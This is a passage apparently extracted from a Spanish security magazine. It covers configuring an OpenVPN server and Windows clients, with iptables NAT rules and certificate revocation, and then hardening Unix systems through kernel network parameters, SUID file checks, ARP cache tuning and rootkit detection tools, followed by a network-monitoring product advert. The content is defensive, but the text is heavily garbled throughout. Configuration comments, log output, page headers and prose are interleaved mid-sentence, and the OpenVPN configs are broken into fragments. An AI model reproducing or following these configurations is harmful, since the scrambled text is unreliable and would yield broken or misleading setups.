# the other side has gone down. en clientes con conexiones lentas ahorra bastante tiempo en la descarga de ficheros de gran tamaño. clients will only see the server. If OpenVPN goes down or # is restarted.log # Set the appropriate level of log # file verbosity. status openvpn-status.255. server 10.255. truncated # and rewritten every minute.0.crt cp /usr/share/doc/openvpn-2. # the rest will be made available to clients.0.0. you # will also need to appropriately firewall the # server's TUN/TAP interface. push dhcp-option DNS 10.0 deberán enrutarse por la interfaz asignada a la VPN.1" # Uncomment this directive to allow different # clients to be able to "see" each other. # "log" will truncate the log file on OpenVPN startup.0.0) # back to the OpenVPN server.log.8. Esta comentada en el fichero anterior.0. Después copiamos los ficheros criptográficos generados al directorio definitivo: y activamos el autoarranque del demonio openvpn: chkconfig openvpn on Para iniciar finalmente el servidor ejecutamos: Listado 2a. dejando de esta manera los ficheros de log alojados en /var/ log/openvpn.push "dhcp-option WINS 10.0. # while "log-append" will append to it. # # 0 is silent.8.net/faq. Remember that these # private subnets will also need # to know to route the OpenVPN client # address pool (10.0. Comment this line out if you are # ethernet bridging. Si nuestra organización utiliza un servidor interno DNS para resolver nombres de maquinas internas deberemos activar esta opción indicando la dirección IP del servidor de DNS (WINS) interno. al descomentarla.255. Use one # or the other (but not both).0" # Certain Windows-specific network settings # can be pushed to clients.hakin9. # By default.8.168.org .crt cp /usr/share/doc/openvpn-2. reconnecting clients can be assigned # the same virtual IP address from the pool that was # previously assigned.20.255.Defensa • • mismo una rute indicándole que los paquetes con destino a la red 192.0. . # To force clients to only see the server.5 /easy-rsa/keys/server.key /etc/ openvpn/keys/server. they will go to # the "\Program Files\OpenVPN\log" directory). CAVEAT: # http://openvpn. haciendo referencia a las IP asignadas a cada uno en el túnel VPN. comp-lzo Con esta opción activaremos la compresión de los paquetes enviados por el túnel VPN. assume that remote # peer is down if no ping received during # a 120 second time period.5/ easy-rsa/keys/server.1" .log # By default.255.255.html#dhcpcaveats . # The server will take 10.8.168.1 – Esta opción nos permite asignar direcciones para los servidores DNS (y WINS) en los equipos clientes. log messages will go to the syslog (or # on Windows. you must also # enable it in the client config file.crt /etc/openvpn/keys/ca.255.pem /etc/openvpn/ keys/dh1024.255.crt /etc/openvpn/keys/server. # If you enable it here.0.0 255. Si bien esta opción penaliza ligeramente el rendimiento del servidor.8.

11 on Thu Dec 29 09:41:01 2005 *nat :PREROUTING ACCEPT [5712:1130877] :POSTROUTING ACCEPT [3996:257769] :OUTPUT ACCEPT [3996:257769] -A POSTROUTING -s 10.9 MiB) Una vez hecho esto podemos observar como se activa una nueva interfaz de red tun0 al ejecutar el comando ifconfig: eth0 lo tun0 . .d/openvpn start RX bytes:3468905 (3.255. para permitir el acceso a la red interna de servidores. ficticia. . Link encap:UNSPEC Configuración de enrutado y firewalls iptables en el servidor de túneles do el fichero /etc/sysconfig/iptables o lanzándolas desde la línea de comandos de manera que el fichero final contenga las siguientes reglas de firewall: # Generated by iptables-save v1.hakin9. put the proxy server/IP and # port number here. It's best to use # a separate . .crt" key "C:\Archivos de programa\OpenVPN\config\keys\ nombre_del_usuario. para ello realizaremos un MASCARADE mediante IPTables de las Ips modifican- Configuración del firewall Externo En la maquina del firewall externo (1.org 55 .2. Very useful # on machines which are not permanently connected # to the internet such as laptops.1.0. # Don't enable this unless it is also # enabled in the server config file. .crt/. persist-key persist-tun # If you are connecting through an # HTTP proxy to reach the actual OpenVPN # server. Para ello modificamos el fichero /etc/ sysctl.8. 10. verb 3 www. client # Use the same setting as you are using on # the server.ovpn extension # ############################################## # Specify that we are a client and that we # will be pulling certain config file directives # from the server.1 de ip . . . . Instalación del software ############################################## # Sample client-side OpenVPN 2.0 config file # # for connecting to multi-client server.2 Mask:255. See the man page # if your proxy server requires # authentication.1.key file pair # for each client.8. however each client should have # # its own cert and key files. remote 1. en Internet) debemos activar las reglas del firewall correspondientes para permitir el NAT hacia el servidor de tú- Listado 3.conf poniendo a 1 el valor de reenvío de paquetes: # Controls IP packet forwarding RUNNING NOARP MULTICAST MTU:1500 Metric:1 RX packets:18387 errors:0 dropped:0 overruns:0 frame:0 TX packets:17403 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 net. comp-lzo # Set log file verbosity. lo primero es permitir el reenvió de paquetes IP desde la interfaz tun0 hasta eth0. # On most systems. Set this flag # to silence duplicate packet warnings.1.255 UP POINTOPOINT El servidor de túneles necesita. # See the server config file for more # description. # # # # On Windows. nobind # Try to preserve some state across restarts.Instalación y configuración de OpenVPN /etc/init.http-proxy-retry # retry on connection failures . A single ca # file can be used for all clients.255. dos modificaciones.8.0 -o eth0 -j MASQUERADE COMMIT # Completed on Thu Dec 29 09:41:01 2005 HWaddr AA-BB-CC-DD-EEFF-GG-HH-00-00-00-00-00-00-00-00 inet addr:10. dev tun # Are we connecting to a TCP or # UDP server? Use the same setting as # on the server. you might want to rename this # # file so it has a .0. the VPN will not function # unless you partially or fully disable # the firewall for the TUN/TAP interface.8.0/ 255. proto udp # The hostname/IP and port of the server.1 P-t-P:10. ca "C:\Archivos de programa\OpenVPN\config\keys\ ca.1 10080 # Keep trying indefinitely to resolve the # host name of the OpenVPN server.crt" cert "C:\Archivos de programa\OpenVPN\config\keys\ nombre_del_usuario.3 MiB) TX bytes:4191906 (3. resolv-retry infinite # Most clients don't need to bind to # a specific local port number.http-proxy [proxy server] [proxy port #] # Wireless networks often produce a lot # of duplicate packets.ip_forward = 1 La siguiente acción permite enmascarar la subred de la VPN.mute-replay-warnings # SSL/TLS parms.key" # Enable compression on the VPN link.255. # You can have multiple remote entries # to load balance between the servers.0. hacia la interfaz eth0.0/ 24.ipv4. # # # # This configuration can be used by multiple # # clients.1.255.0.

Estos tres ficheros y el fichero que contiene la clave publica de la CA del servidor ca.Defensa . . por ejemplo nombre_del_ usuario@dominio_empresa.0.3-install. nombre_del_ usuario.168.exe en la maquina cliente.1./build-key-pass nombre_del_usuario Figura 2. Generación de certificados clientes. En el campo Common Name es util indicar la dirección de correo electrónico del cliente. Una vez aceptadas las opciones por defecto de la instalación se creará el directorio C:\Archivos.hakin9.3-install. que no necesitaremos ya que solamente lo utilizaríamos en el caso de que la CA no estuviera ya en nuestra maquina.0. en el directorio /usr/share/doc/openvpn2.106. de programa\ Listado 4.crt. Instalación y configuración de OpenVPN neles. simplemente ejecutando el fichero . nombre_del_usuario.155:60677 TLS Error: TLS object -> incoming plaintext read error Wed Dec 28 17:34:44 2005 us=698353 80.0.1.106.20.10 -p udp -m udp --dport 10080 -j ACCEPT Donde nombre_del_usuario es el nombre del usuario para el que se crea el certificado.106.exe y siguiendo las indicaciones que en el asistente se dan.0. Dicha contraseña se preguntara a la hora de hacer connect en el cliente de OpenVPN. Una vez generados los certificados se obtienen 3 ficheros para cada usuario en el directorio /usr/ share/doc/openvpn-2.html con el nombre openvpn-2.key El primer fichero contiene la clave publica del certificado firmada por la CA del servidor.empresa is REVOKED Wed Dec 28 17:34:44 2005 us=698272 80.1 -p udp -m udp --dport 10080 -j DNAT –to-destination 192. y el tercero que contiene la clave privada de dicho certificado.5/easy-rsa/ keys/. para ello añadimos las siguientes reglas al fichero de configuración de iptables: -A PREROUTING -d 1. Página oficial de FreeS/WAN 56 www.5/easy-rsa/ y ejecutamos las siguientes ordenes: cd /usr/share/doc/ openvpn-2.168.1 -p udp -m udp -dport 10080 -j ACCEPT -A FORWARD -d 192. La instalación es muy sencilla.se/download. ya que este se encuentra en la red interna.1.exe. Cada certificado debe crearse de manera única para cada usuario.csr y nombre_del_usuario.5-gui1.25. se distribuirán al cliente que se conectara en remoto.20.5/easy-rsa/ .10:10080 -A FORWARD -d 1./vars Figura 3. Instalación del software La instalación del software pasa por ejecutar el fichero openvpn-2.org .155:60677 TLS_ERROR: BIO read tls_read_plaintext error: error:140890B2:SSL routines :SSL3_GET_CLIENT_CERTIFICATE:no certificate returned Wed Dec 28 17:34:44 2005 us=698330 80.155:60677 TLS Error: TLS handshake failed Instalación y configuración de los clientes Para la instalación en los clientes Windows necesitamos el paquete de instalación que se descarga desde http://openvpn. protegidos por contraseña El primer paso consiste en la generación de los certificados de cliente para permitir la conexión.25.0.0.1. el segundo es la petición del certificado.155:60677 CRL CHECK FAILED: / C=ES/ST=Madrid/O=OpenVPN-Ecija/OU=EcijaConsulting/CN=nombre_del_usuario / emailAddress=nombre_del_usuario@dominio.0.25.crt. Acceso al servicio con el certificado revocado Wed Dec 28 17:34:44 2005 us=698149 80.25. en este caso. para ello nos situamos en la máquina del terminado de túneles.106. En la creación del certificado se pregunta por la contraseña con la cual cifrar el certificado.5-gui1.

Una vez configurado dicho fichero conectaremos con la VPN ejecutando la opción connect que podemos encontrar en la barra de tareas dentro del programa openvpn./revoke-full nombre_del_usuario cd keys/ cp crl. . pero totalmente funcional. firma digital. El cliente para terminales PocketPC.0.com/ OVPNPPCAlpha / OVPNPPC Alpha. si necesitamos revocar los certificados entregados a alguno de los clientes. Creamos después el fichero client. Para los administradores de sistemas es especialmente útil. servicios anti-fraude y seguridad gestionada desde hace 5 años. Por último. permitiendo que los administradores de red puedan responder desde su bolsillo a las urgencias que día a día se presentan.crt.ziggurat29.ovpn en el directorio C:\ Archivos de programa\OpenVPN\config con el siguiente contenido (Listado 3).crl-verify /etc/ openvpn/keys/crl. al principio de la línea: crl-verify /etc/ openvpn/keys/crl. ya que las herramientas de administración de los servidores. que habrá sido facilitada al cliente en el momento de la entrega de los certificados. OpenVPN es un servidor de túneles VPN .pem Sobre el Autor César Jiménez Zapata trabaja actualmente como Jefe de proyecto en la empresa Ecija Soluciones http://www. Nuestros colaboradores o empleados ya no necesitarán desplazarse hasta nuestras instalaciones para acceder a los recursos de la red local. evitando desplazamientos a altas horas de la madrugada.d/openvpn restart Los intentos de acceso al servicio con el certificado revocado quedaran reflejados en el fichero de log /var/log/openvpn.SSL de gran versatilidad que nos permitirá extender nuestra red local. si se encuentra comentada: .Instalación y configuración de OpenVPN Dejándola sin el. Nos movemos al directorio C:\Archivos de programa\ OpenVPN\config y sobre el creamos el directorio keys donde almacenaremos los certificados del cliente. Una vez creado copiamos los ficheros nombre_del_usuario.pem Reiniciamos por último el servicio de OpenVPN: /etc/init.org 57 . (http://www.5/easy-rsa/ .com/ en el área de negocio dedicada al consulting tecnológico. Revocación de los certificados de clientes Por último.hakin9. Podéis contactar con el autor en la dirección cjimenez@ecija. Conclusión Figura 4. Abandonó sus estudios universitarios de 5º año en Ciencias Químicas para dedicarse al mundo de las TI y la seguridad informática y Linux le apasionaron desde el primer momento. Al conectar nos preguntará la contraseña con la que hemos cifrado el certificado en el momento de generarlo./vars .crt y nombre_del_usuario. de manera segura.htm) amplia aún mas el abanico de posibilidades de conexión con la red local de la empresa.ecija. Página web de Open VPN OpenVPN y los correspondientes enlaces en el menú inicio.log de la manera presentada en el Listado 4. Ha trabajado en proyectos de seguridad informática en tecnologías pki. a lo largo y ancho de todo el mundo.key al directorio C:\Archivos de programa\OpenVPN\ config\keys. así como conexiones Terminal Server o SSH se realizan sobre la VPN sin ningún problema. aunque el ejemplo que presentamos es útil para empresas que quieran establecer una VPN a un coste realmente bajo. aún en desarrollo. ca. utilizaremos las siguientes órdenes de la línea de comandos en el terminador de túneles VPN: cd /usr/share/doc/ openvpn-2. también existe la posibilidad de trasladar el mismo modelo para acceder desde cualquier conexión a Internet (por ejemplo desde el trabajo) a la red de casa. Después descomentaremos la línea de configuración del servidor. que se encuentra tras una conexión ADSL o permitir a nuestros amigos el acceso completo y seguro a la misma ¡¡¡Todo un mundo de posibilidades!!! l www.com.pem /etc/openvpn/keys/ Donde nombre_del_usuario se debe sustituir por el nombre del usuario a revocar. auditorías de seguridad de código.

a veces ingrata ya que no es muy visible ni genera un resultado espectacular.. Hoy en día es muy complicado encontrar gente con perfiles de seguridad que además tengan tantos conocimientos de sistemas y en diversas arquitecturas. Carnellie Mellon University) una de las primeras tareas a realizar cuando nos enfrentamos a la ardua tarea de implementar seguridad en cualquier red de sistemas heterogéneos. como firewalls.Hardening de sistemas en entornos corporativos Defensa Sancho Lerena Grado de dificultad Según el CERT (Center of Internet Security Expertise.. consiste en parametrizar adecuadamente y configurar las múltiples características de seguridad de nuestros sistemas operativos. antivirus. Nos es imprescindible tener privilegios de administración. por ejemplo. ya que tal como los entrega el fabricante. Se hablará de las principales herramientas del mercado. es precisamente la tarea de ajustar la seguridad de estos sistemas. Es una tarea que se caracteriza por que: • • • • Requiere un alto grado de conocimiento de sistemas. es ajustar la seguridad de nuestros sistemas operativos. de nuestro kernel y de las aplicaciones que están ejecutándose. Es necesario estar continuamente actualizando los sistemas. • Conocimientos medios sobre Sistemas Operativos y seguridad. mediante un repaso general a los diferentes aspectos del hardening. pero lo primero.. 58 www. Metodología Hay una serie de pasos previos que son convenientes tenerlos en cuenta para una correcta En este artículo aprenderás. implementaremos medidas adicionales. lo que vale para una plataforma es diferente para otra arquitectura • • diferente. Cada sistema se asegura de una manera determinada. generalmente no son nada seguros. GNU/Linux de WindowsTM.hakin9. se denomina asegurar o hardening de sistemas. o AIXTM de SolarisTM. Esta labor.org . • Diferentes técnicas sobre securización de sistemas y la mejor manera de llevarlas a cabo. No existen muchas herramientas que sirvan para estos propósitos. detectores de intrusión y una infinita gama de posibilidades respecto a las distintas arquitecturas. L uego. marcas y características. y a veces más importante.. • Lo que deberías saber.

desde el punto de vista de la seguridad. pero hay que tener en cuenta que un sistema generalmente se utiliza para cumplir un rol específi- Un servidor que provee servicios públicos. como la documentación online (páginas del man) son muy recomendables en la instalación de cualquier sistema y no representan un riesgo de seguridad. No existe ningún sistema que provea algo de seguridad delante suya. Además. han de ser convenientemente asegurados teniendo en cuenta que cualquiera puede acceder a ellos por el hecho de tener acceso público. se recomienda como mínimo no conectar este sistema a una red insegura hasta que todos los pasos de este documento hayan sido revisados. ya que si desde el principio de la instalación podemos estar sujetos a alguna posibilidad de intrusión esto puede invalidar total o parcialmente el trabajo de seguridad y/o la instalación posterior. y los puertos utilizados. DMZ host Grados de seguridad Instalación de Sistema Operativo Existen diferentes grados en la seguridad de cualquier sistema. sin utilizar elementos de software innecesarios. o host conectado sin protección externa a la red. y vamos a contemplar tres grados de seguridad: • Bastión Host. tanto a nivel físico como desde un punto de vista lógico. existen mas posibilidad de tener un problema de seguridad. Figura 2. como puede ser un firewall. los scripts de arranque y parada de estos servicios y aplicaciones. pero que está protegido por un sistema intermedio. porque partimos del hecho de que es un sistema totalmente sacrificable. implementación de TOS www. Un bastión host es un sistema que se encuentra a la intemperie desde el punto de vista de la seguridad.org 59 . co. La instalación de un sistema es uno de los pasos más importantes a la hora de robustecer un sistema. Otro. o bien por una mala configuración. Para ello lo idóneo es partir de la instalación mínima y añadir los paquetes que sean necesarios. dependiendo de los requerimientos que tenga será necesario realizar unas operaciones u otras. Pitbull. Ajustar la seguridad de nuestro sistema operativo puesta en marcha de un sistema. no suele ser un servidor multifunción. Esto puede dificultar las tareas de administración. nunca por la integridad ni por la confidencialidad de los datos. las únicas objeciones que podemos tener es por el hecho de la disponibilidad del servicio. es decir. Fuente original: CERT. Si se ha elegido el proceso de instalación por defecto. Es importante que la instalación de un nuevo sistema sea realizada en un entorno considerado seguro. revisión e instalación. totalmente expuesto a lo que pueda venir desde la red. se debe saber con exactitud los requerimientos de servicios que necesita la aplicación que se va a instalar en el sistema. o host con servicios públicos.hakin9. Un bastión host nunca debería tener información confidencial. Se recomienda encarecidamente una instalación limpia para no heredar ningún problema de seguridad. un proxy inverso o un sistema intermedio de comunicación. y blindarse al máximo. Un sistema así se debe proteger por si mismo. ya que cuando mas software tengamos. Preferiblemente. protegido por un sistema intermedio y sin servicios públicos. Es necesario puntualizar que algunos paquetes. Entonces. es decir. existen diversos paquetes que pueden considerarse candidatos a ser eliminados. o bien por una intrusión deliberada. Son host que por el mero hecho de tener acceso público. se deben realizar todas las operaciones indicadas en este documento sobre un sistema que esté completamente aislado de cualquier red.Securización de sistemas • Vendor Provides Hardening/ Security Prepare Detect Respond Improve • DMZ Host. lo idóneo es realizar una instalación a medida de las necesidades de nuestro servidor.org Bastión Host Figura 1. Sería bueno conocer a priori qué servicios y aplicaciones deben de estar activas en el sistema. esta solo ante el peligro.

Si un atacante externo se hace con una de las máquinas de la red interna. es uno de los puntos débiles. El peligro de estar confiado es que se relajan las políticas de seguridad locales en cuanto a la configuración de los sistemas. ya que son estas los principales puntos débiles del sistema. punto de vista: la seguridad interna. acceso al soporte de backup. también deben contar con una metodología de seguridad y de mantenimiento.Defensa Debemos partir del hecho de que están protegidos detrás de un firewall. prestando especial atención al nivel de seguridad que ofrecen las aplicaciones que corren sobre él. y esto. para tener en cuenta esto haremos 60 www. acceso a las fuentes de alimentación. Es importante prestar atención a la correcta configuración de los sistemas – aunque sea básica – para poder evitar problemas mayores en un futuro. y el estado en el que estaba. ya que el acceso a cualquier otro punto de la red puede ser trivial. como en el resto de los casos. Los sistemas a los que no se tiene acceso público presentan a menudo riesgos de seguridad desde otro Listado 1. es decir. cuando haya pasado un tiempo. hacen que sea mucho más complicado – de lo que ya es – detectar una posible intrusión. Debemos adaptar este guión a nuestras necesidades e intentar cumplirlo en todas las máquinas que aseguremos. cables visibles. En GNU/Linux: • /proc/sys/net/ipv4/conf/all/accept_redirects:0 /proc/sys/net/ipv4/conf/all/accept_source_route:0 /proc/sys/net/ipv4/conf/all/send_redirects:0 /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts:1 /proc/sys/net/ipv4/ip_forward:0 /proc/sys/net/ipv4/ipfrag_time:30 /proc/sys/net/ipv4/tcp_keepalive_intvl:35 /proc/sys/net/ipv4/tcp_keepalive_probes:4 /proc/sys/net/ipv4/tcp_orphan_retries:3 /proc/sys/net/ipv4/tcp_max_orphans:8192 /proc/sys/net/ipv4/tcp_max_syn_backlog:1024 /proc/sys/net/ipv4/tcp_max_tw_buckets:200000 /proc/sys/net/ipv4/tcp_sack:1 /proc/sys/net/ipv4/tcp_syn_retries:4 /proc/sys/net/ipv4/tcp_abort_on_overflow:0 /proc/sys/net/ipv4/neigh/default/gc_stale_time:60 Por eso estos sistemas. Son por lo general. también deben asegurarse por muchas razones. Creación de una checklist manual Listado 2. es decir. Considerando también. El gráfico adjunto sería un ejemplo de un fragmento de una checklist para un sistema Sun Solaris 8. Pocas veces se llevan auditorías internas de sistemas no críticos. de los elementos de seguridad que miramos en cada sistema. que sin tener que estar tan asegurados a priori como los sistemas conectados directamente a Internet. entre ellas: • Suelen tener acceso a redes con información más sensible. mas accesibles dentro las redes internas e incluso accesibles físicamente (máquina • • Otros sistemas con shell abiertos y pantallas disponibles a cualquiera que pase por ahí. Aquí el principal problema es la inicial presunción de seguridad dentro de una red interna. y dedicando en mayor o menor medida tiempo a asegurar las políticas de usuarios y accesos en función de si el host tiene posibilidad de acceso remoto o no. Este checklist debería contemplar el elemento revisado. puntos de red accesibles. unido a esa falsa sensación de seguridad. se puede decir sin miedo a exagerar que tenemos una situación crítica. el estado en el que estaba. ha podido ser atacado y vulnerado previamente a nuestra revisión. o a sistemas críticos respecto a la disponibilidad de los servicios. para estar seguros.org . y lo que nos queda por hacer. Listado 3. que el Sistema Operativo. que puede estar incluso aislada del exterior. datos confidenciales. En AIX con el comando /usr/sbin/no -o somaxconn:4096 ipsendredirects:0 ipforwarding:0 tcp_keepidle:900 bcastping:0 ipignoreredirects:1 ipsrcroutesend:0 ipsrcrouterecv:0 ipsrcrouteforward:0 arpt_killc:20 En la seguridad de sistemas es imprescindible tener algún tipo de referencia de lo que estamos haciendo. aunque no tan seguros como otros.hakin9. así como si se solucionó el problema o no. un pequeño guión de los pasos a seguir. etc). En Solaris con el comando ndd -set /dev/ip ip_forwarding 0 /dev/arp arp_cleanup_interval 2000 /dev/ip ip_respond_to_echo_broadcast 0 /dev/tcp tcp_conn_req_max_q0 4095 /dev/tcp tcp_conn_req_max_q 1024 Revisión general de integridad del sistema Cuando hablamos de revisar un sistema que ya está en producción. así que es mejor centrarse en aspectos de la seguridad lógica mas orientados al software que a la red.

6.5.1.3. 3.2.2. Control del tráfico.1.3. Prio 0 2 2 0 3 2 2 1 1 0 0 1 0 0 1 1 0 0 0 0 0 0 0 0 2 0 0 1 1 0 1 1 2 0 0 Rev Estado www. Revisar servicios arrancados en el inicio del sistema. Ajustes frente a ataques ARP.1.1.2.3. Verificar la consistencia del Software instalado 2.3. Realizar Copia de Seguridad del Sistema 2.1. Ajuste de las respuestas ante ICMP Broadcast 3. 3. Otras precauciones respecto a la seguridad físico 3.2.4. Modificación predictibilidad TCP 3.3. Instalación Sistema Operativo 1.7.3.2. Sparc EEPROM 2. Verificar la consistencia del Software instalado 2. Revisión ficheros /etc/passwd y /etc/shadow. Ajuste de ICMP Redirect 3. Actualizar Sistema Operativo al último nivel 2.Securización de sistemas Tabla 1: Checklist Solaris Tarea 1. Ajuste del Source Routing 3.3.1. IPFilter 3. TCP Wrappers 3.6. Ajuste del reenvío automático de Broadcast 3.1. Activar la password de root 1. 3. 3.4.1.4.2.1.4.1. Ajuste ante ataques por agotamiento de recursos (TCP) 3. Prevencion del uso de ahorro de energía 3. 3.5.3.14.1.13. Demonios de red dependientes de inetd.5.1. Prevención de ataques por desbordamiento de pila 3.1.1.15. Ajuste del Multihoming IP estricto 3. Ajuste de las respuestas a timestamp Broadcast 3.2. Instalar Software de Base 1. Límites del sistema 3. Ajuste de los sistemas de enrutamiento dinámico 3. Otros ficheros de arranque (Unix System 5) 3. 3.1.3.16.1.1. Identificar y eliminar Software no utilizado (Minimización).5.2.1. Protección física y presencial 2.2. Revisión usuario root.4. Revisión general de integridad del sistema 2.org 61 . Otros servicios de red activos en el sistema 3.12.1. Configuración IP Forwarding.2.2. Resolución de nombres (DNS) 3.1. Prevención de volcado de información sensible.2.3.3.2.2.9.hakin9.10.11. Control del tráfico.1.2.5.5.1.8. Ajuste ante ataques de SYN Flood 3. 3.1.2.1. Fichero /etc/inittab 3.

f. • Ajustando el kernel A menudo el kernel o núcleo de nuestro sistema incluye una parametrización débil de elementos críticos de red.org/. RootKit Hunter: Herramienta libre de búsqueda de troyanos (para Unix): http://www.12. un directorio extraño (por ejemplo /var/log o /tmp).org . seguramente implique una intrusión. Ficheros SUID0 En sistemas UNIX el uso incorrecto de SUID o SGID puede ser muy peligroso.secure. para conocer cuando un binario ha cambiado. http://www. se puede acceder a estos parámetros directamente. La RFC 826 especifica que las entradas de ARP se deben borrar después de un tiempo razonable. ps. SpyBot S&D. ht tp: / / w w w.net/.html. Herramientas como Babel Enterprise automatizan esta gestión y notifican cuando aparece un fichero nuevo en un directorio crítico. simplemente poniendo el bit de SUID en /bin/sh podemos dar permisos de root a cualquiera que lo ejecute. Un ejemplo muy sencillo de qué tipo de vulnerabilidades podemos corregir con estos ajustes sobre el kernel son los ataques de ARP Spoofind.rar. Debemos estar atentos a nuevos ficheros de estas características que se localicen en la máquina. Lo mejor para ello es tener actualizado un antivirus y correr periódicamente herramientas de detección de caballos de troya. IceSword http://www. En los casos más comunes de intrusión siempre existe un intento de preservar ese estatus de acceso al sistema mediante el uso de alguna técnica que nos garantice el poder entrar a voluntad en el sistema violado. muy usados en el phising. consistente en hacernos pasar por otro host a nivel de enlace. como pueden ser el refresco ARP. para ataques ARP. Esto es fácil de detectar mediante unos simples comandos: SetUID SetGID /usr/bin/find / -perm -4000 –ls /usr/bin/find / -perm -2000 -ls /usr/bin/find / -perm -1000 -ls • Ambos peligros se pueden mitigar utilizando un refresco más rápido en la caché de ARP y/o estableciendo una serie de MAC estáticas cargándolas en el arranque del sistema mediante comandos arp. Rootkits y caballos de Troya • El uso de rootkits: herramientas típicas del sistema (login. http://www. tenemos dos diferentes posibles vectores de ataque: • Cache poisoning (llenar el caché de otros host con una información falsa acerca de nuestro par IP/MAC de forma que no pueda encontrar nuestro host a nivel dos para una respuesta eventual). el tamaño de los buffers o el buffer de conexiones entrantes.Defensa un par de pruebas para detectar posibles intrusiones y modificaciones sobre la configuración original del sistema.rootkit. • Detectores de troyanos y rootkits (Windows). o cuando un fichero determinado ha cambiado su contenido mediante la generación y gestión de hashes de forma centralizada. Unos cinco minutos para la tabla de ARP y unos veinte minutos para la parte de IP. en sistemas Windows tendremos que modificar diferentes Keys del registro. con los peligros que ello representa. who. etc). Herramienta de búsqueda de trojanos y spyware (Windows).xfocus. algunas de ellas: • ClamAV: Antivirus de código libre multiplataforma. como virus o capturadores de teclado / pantalla. En los sistemas Unix. y es necesario utilizar herramientas más especializadas.org/es/index. Son versiones modificadas de las herramientas normales de administración. ChkRootkit: Herramienta libre de búsqueda de troyanos (Unix).safer-networking. ls. Existen diversas herramientas que nos ayudarán a encontrar caballos de troya o elementos sospechosos. ya que esto casi en el 100% de los casos indica que nuestra máquina ha sido comprometida por un atacante. Por ejemplo. Tripwire). Esto puede mejorarse desde el punto de vista de la seguridad reduciendo estos tiempos a un minuto. last. para modificar estos parámetros bastan los comandos: /usr/sbin/no -o arpt_killc= 20 (EN AIX) echo “20” > /proc/sys/net/ ipv4/neigh/eth0/ gc_stale_time (LINUX) ndd -set /dev/arp arp_cleanup_interval 20000 (Solaris) ndd -set /dev/ip ip_ire_arp_interval 20000 (Solaris) Sticky Bit • • Si un fichero SETuid0 aparece en un directorio de usuario. clamav. por lo que a la hora de instalar nuevo software o actualizar el existente hemos de acordarnos de resetear el bit de los ficheros que no lo necesiten.hakin9. No los podemos evitar así. pero podemos mitigar su daño.c om/ blacklight/. como por ejemplo: • F-secure Blacklight. MAC Spoofing.chkrootkit.net/tools/ 200509/IceSword_en1. Muchos rootkits modernos usan técnicas de ocultación que los hace invisibles ante los antivirus.nl/. La mejor manera de evitar la instalación de Rootkits es mediante sistemas de comprobación de integridad de archivos (por ejemplo. La otra posibilidad es cargar en el arranque un archivo con todos los 62 www. http://www. que por un lado ocultan la presencia del intruso y por otro lado la facilitan. demasiadas aplicaciones de Unix se instalan por defecto con ejecutables setuidados cuando realmente este bit no es necesario. Especialmente grave es la aparición de archivos setuidados de los que el administrador no tenía constancia (ni son aplicaciones del sistema ni aplicaciones añadidas).

software instalado. Contiene un web-server para mostrar diagramas interactivos de red a usuarios de la red vía protocolo HTTP. que nos puede dar muchísima información del sistema. mandando mensajes a un teléfono móvil. lo más idóneo seria apuntar en la lista los pares IP/MAC de los gateways de la red así como de los hosts mas importantes (consola de FW-1. y obtener notificaciones en el momento en el que los dispositivos se apagan o cuando están disponibles. En cada sistema hay que mirarlo en sitios diferentes. nombre del host y otra información de interés para atacantes. asegurando de esta manera una pronta respuesta a los fallos minimalizando la perdida de tiempo. ver el registro de eventos. LANState contiene un monitor de dispositivos de red.hakin9.dominio. procesador.org externos. ver la lista de software instalado y los procesos que se están ejecutando. Si por ejemplo. permisos por defecto o problemas por defecto de ese software.com 08:00:20:ba:a3:c5 host2. otros módulos de FW-1.txt Existen numerosos parámetros del kernel que podemos manipular y mejorar referentes a la pila TCP/IP. que B L I C I puede ser un fallo del software o una falta de configuración o mala configuración. Un servidor SNMP configurado por defecto suele tener la comunity read public. apagar y reiniciar equipos. tenemos el fichero par_mac_ip. sistemas de autenticación. Mucha gente no era consciente de que su sistema era vulnerable porque no sabía si había instalado o no ese software. grabándolos en un log. incluyendo direcciones IP.com/lanstate/ > para descargarla gratuitamente. De esta manera. fijándolos y de esta forma impidiendo un poisoning de la caché ARP. La versión de prueba de LANState está disponible en http://www. emitiendo un sonido. P U Para este punto es fundamental la información de los servicios que son necesarios en el sistema. mirar la versión y probar el bug. LANState Pro es una versión más avanzada del progama. servidor DNS. LANState no requiere instalar ningún software en los equipos remotos. y permite la gestión de estos. configurado por defecto.Securización de sistemas pares IP/Mac de la red. rutas. servicios corriendo.dominio.10-strike. escanear y localizar puertos TCP abiertos. EL administrador de la red puede acceder al registro de Windows. que permite al administrador ver el estado de la red en cualquier momento en un diagrama gráfico. existen herramientas de escaneo de ftp con permiso público de escritura/ D A D Network Mapper y Monitor LANState Ayudan a Gestionar la Red LANState es un software de gestión y administración para redes Microsoft Windows. etc). LANState genera un map de red. como gestores de archivos o software de administración remota al programa. solo le basta buscar a alguien que tenga ese servicio. configuración por defecto. Los administradores pueden configurar el programa para que responda a sucesos determinados: mostrando un mensaje. enviando un email. que acelera el acceso a recursos remotos.com 08:00:20:4d:6d:30 host3. o aplicando otro tipo de comprobaciones.txt con el contenido: host1. router. gestionar los servicios. Si tenemos un servicio corriendo en el host. Solaris lo instala por defecto. cualquiera que sepa un poco acerca de la tecnología de nuestros sistemas conocerá las password por defecto. Recientemente un bug en la implementación de muchos demonios SNMP de diversos fabricantes fue utilizado mediante un exploit para provocar un DoS en el host que corría el servicio. Empleando LANState se hace más fácil monitorizar procesos en redes de cualquier rango y tamańo debido a la oportunidad de enlazar aplicaciones externas. ya que no podemos deshabilitar un servicio si no estamos absolutamente seguros de que eso no va a afectar al funcionamiento del servidor. pero veamos algunos ejemplos prácticos de porque tener un servicio que no vamos a utilizar puede ir en contra nuestra.com 08:00:20:b3:48:57 Minimizando el sistema. l 63 . El monitor de tráfico permite ver la actividad de la red y los ratios de transferencia. Siempre se dice que conviene quitar los servicios no necesarios. el programa puede ser instalado y configurado en un único y todos los usuarios de la red pueden ver el estado de la red a través de sus navegadores web. El programa también contiene monitor de conexión que escribe logs notifica al usuario cuando alguien se conecta a sus recursos compartidos. Para simplificar este proceso. ejecutando programas www. Muchos servidores FTP mal configurados permiten a usuarios anónimos hacer upload de archivos. LANState incluye una serie de funciones para obtener información de equipos remotos y gestionarlos. Eliminando servicios y software innecesario Podemos cargarlo con el comando arp -f par_mac_ip.dominio. La funcionalidad del programa se basa en periódicamente ir controlando los dispositivos disponibles en el mapa gráfico haciendo pings o intentando conectarse al puerto TCP requerido a través de la red.

